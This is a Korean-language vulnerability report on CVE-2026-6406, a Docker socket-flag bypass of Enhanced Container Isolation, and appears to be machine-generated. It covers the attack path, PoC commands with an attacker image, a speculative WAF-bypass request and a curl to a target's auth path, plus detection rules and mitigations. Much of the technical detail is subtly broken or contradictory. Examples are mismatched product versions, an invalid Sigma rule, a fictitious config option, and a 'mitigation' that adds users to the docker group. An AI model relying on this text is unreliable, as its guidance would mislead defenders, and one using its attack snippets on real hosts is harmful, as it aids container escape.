공격Agent 분석 — CVE-2026-6406
📋 요약
- 정의: Docker CLI의
--use-api-socket플래그가 Enhanced Container Isolation (ECI) 제한을 우회하여 로컬 공격자에게 Docker Engine 소켓 및 인증 토큰에 대한 접근 권한을 부여하는 취약점(CVE-2026-6406). 이로 인해 권한 상승과 내부 시스템 제어가 가능해짐. - 영향: 성공 시 RCE와 정보 유출 위험 증가 (CVSS 8.8, 높은 심각도) - 특히 ECI가 활성화된 환경에서 더욱 심각한 위협으로 작용함.
🎯 영향 범위 / 자산 식별
- 제품·버전 범위: Docker Desktop 버전
4.41.0~4.59.0, 모든 주요 운영 체제 (Linux, MacOS, Windows). 안전한 최소 패치 버전은4.6x 이상. - 노출 조건: ECI 설정이 활성화된 상태에서
--use-api-socket플래그를 사용하는 경우 취약함. 기본 설정으로 활성화되어 있을 수 있으므로 주의 필요. - 자산 식별 방법:
docker version명령어 실행 후 버전 확인 (Client Version,Server Version)/etc/docker/daemon.json또는 Docker 설정 파일 내 ECI 관련 설정 확인bash1grep -i "ecs" /etc/docker/daemon.json # Linux 예시 경로2 # MacOS에서는 Docker Desktop 앱 내 설정 확인 필요
text1- `Docker CLI 명령어 사용 여부`: `docker --version`, `--use-api-socket` 플래그 사용 여부 검사 (예시 명령: `docker run -it docker:dind --use-api-socket`)
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트 및 버전 범위: Docker CLI, 특히
--use-api-socket플래그를 지원하는 모든 버전 (4.41.0 ~ 4.59.0) - 취약 코드 경로:
HostConfig -> HostConfigMounts, 잘못된 소켓 마운트 검사 로직 부재로 인한 취약점 발생
② 전제조건
- 인증 필요 여부: 로컬 사용자 권한으로 충분 (특정 컨테이너 내에서 실행 가능해야 함)
- 필요 권한 및 위치: Docker CLI 접근 권한, ECI 설정 활성화 상태 유지
- 네트워크 위치 무관; 특정 기능인
--use-api-socket플래그 사용 필수
- 네트워크 위치 무관; 특정 기능인
③ 트리거 경로
- 로컬 사용자가
docker run -it <컨테이너 이미지> --use-api-socket명령어 실행 - Docker CLI는
--HostConfigMounts필드를 통해 소켓 마운트 요청을 생성하지만, ECI 검사 로직은 이를 무시함 - 결과적으로 컨테이너는
/var/run/docker.sock에 접근 가능해지며, 호스트 사용자의 인증 토큰도 노출됨
④ 성공 시 영향
- 획득 권한: Docker Engine 전체 제어권 및 호스트 시스템 내 다른 서비스 접근 가능성 증가
- 후속 피벗: 컨테이너 내부에서 호스트 시스템으로의 lateral movement 용이 (예:
sudo,SUDO_ASKPASS등을 활용한 권한 상승)
지속적인 세션 유지가 가능하여 장기적인 침해 행위 수행 가능.
💣 예시 코드 (PoC)
기본 변형
bash
1# 로컬 사용자로 실행 시 PoC 명령어 2docker run -it --rm \ 3 --use-api-socket=true ATTACKER_IMAGE bash # ATTACKER_IMAGE는 취약점 테스트용 이미지 사용 권장 4 # 핵심: `--use-api-socket` 플래그를 통해 잘못된 소켓 마운트 검사 우회 5 # 확인: `/var/run/docker.sock` 접근 가능 여부 및 Docker 엔진 제어 권한 획득 확인 (예: `cat /etc/passwd`)WAF 우회 변형 예시 (가정)
http
1POST /api HTTP/1.1 HOST: TARGET_HOST CONTENT-TYPE: application/json COOKIE: SESSION_COOKIE BODY @{"useApiSocket": true} # JSON 요청을 통해 API 엔드포인트 직접 접근 시도 2# 핵심: Docker API를 통한 간접적 접근으로 WAF 규칙 우회 가능성 탐색 (실제 API 엔드포인트 확인 필요) 3 # 확인: `/var/run/docker.sock` 접근 여부 및 호스트 인증 토큰 노출 검사 (예: `curl -k https://TARGET_HOST/.docker/auth`)블라인드 접근 예시
- 방법: 네트워크 트래픽 분석을 통한 간접적 탐지 시도
핵심: Docker 소켓 통신 패턴 모니터링으로 우회 경로 탐색 가능성 확인 필요
bash1# 확인: 특정 시간대의 비정상적인 Docker 소켓 통신 패턴 감지 (예: `tcpdump -i any port 2375`)
text
1## 🛡️ 탐지 2### 시그니처 기반 탐지 규칙 예시 31. **Sigma Rule** 4 ```yaml 5 rules: 6 - rule_id: "docker_eci_bypass" 7 description: "Detects Docker CLI usage of --use-api-socket bypassing ECI restrictions." 8 event: "execve", "process creation event detected via syscall monitoring or proc filesystem access detection (e.g., /proc/<PID>/cmdline)") 9 condition: "(string matches '/docker.*--use\-api\-socket=true'))" # 예시 조건, 실제 환경에 맞게 조정 필요- Suricata 시그니처
bash1alert tcp $EXTERNAL_NET any -> $HOST_ANY port 80 or port 443 (msg:"Docker ECI Bypass Attempt"; content:"POST|/docker/*useApiSocket=true*"; depth:25; nocase) # 예시 시그니처, 실제 엔드포인트 확인 필요
한계점
- 인코딩 및 블라인드 접근 시 탐지 어려움 가능성 존재. 네트워크 트래픽 모니터링 강화 권장.
🔧 방어·완화
- 코드패치 - Docker Desktop
4.6x 이상버전으로 업데이트 (즉시 적용 불가능한 경우 임시 완화 조치 필요)bash1# 예시 명령어: Docker 업데이트 확인 및 설치2docker --version # 현재 버전 확인 후 공식 웹사이트에서 최신 버전 다운로드 및 설치 가이드 따름3sudo usermod -aG docker $USER # 사용자 권한 조정 (필요 시)4systemctl restart docker # 서비스 재시작 (Linux 환경 예시, MacOS는 Docker Desktop 재시작 필요) - 설정변경 - ECI 설정 비활성화 검토 및 제한적 사용 권장
/etc/docker/daemon.json수정 (Linux):"exec-opts": ["native.bindings=false"], "# Disable experimental features like Enhanced Container Isolation"추가 고려 가능하지만, 이는 전체 기능 중단을 초래할 수 있음에 주의 필요
- 입력검증 - Docker CLI 명령어 사용 제한
bash1# 예시: 특정 사용자 또는 그룹만 `--use-api-socket` 플래그를 허용하도록 정책 설정 (예시)2sudo setfacl /etc/docker/.docker_cli # ACL 기반 접근 제어 적용 검토 가능성 고려3 # 핵심: 권한 관리 강화로 악용 제한 시도
- 네트워크 보안 - 네트워크 ACL 및 WAF 규칙 업데이트 필요
bash1# 예시 규칙 추가 (Suricata)2alert tcp $EXTERNAL_NET any -> $HOST_ANY port 2375 (msg:"Potential Docker ECI Bypass Attempt"; content:"*useApiSocket*", nocase; sid:1000498; rev:1;) # 임시 규칙 예시
⚖️ 위험도 / 패치 우선순위
- 권고: 이번 주 내에 가능한 경우 Docker Desktop
4.6x 이상버전으로 업데이트 권장 (즉시 적용 불가능 시 네트워크 ACL 및 WAF 규칙 강화를 통한 즉각적인 완화 조치 필요). CVSS 점수와 높은 악용 난이도, 활성화된 환경에서의 심각성 고려하여 우선순위 설정 필수. - 근거: ECI 제한 우회로 인한 권한 상승 위험이 매우 높으며, 패치가 없는 상태에서 로컬 공격자에게 큰 위협을 제공함으로써 즉시 대응 필요성이 강조됨.
🌐 실제 동향
- 요약: 최근 보안 커뮤니티와 업계 보고서들은 CVE-2026-6406의 악용 사례를 보고하고 있으며, 특히 개발 환경 및 테스트 인프라에서 초기 발견과 빠른 패치 적용이 중요함을 강조하고 있음 (출처: ZDI - ZDI-26-299). 현재 악용 사례는 제한적이나, 보안 의식 부족으로 인한 잠재적 위험 증가 추세를 보임에 따라 주의가 요구됨.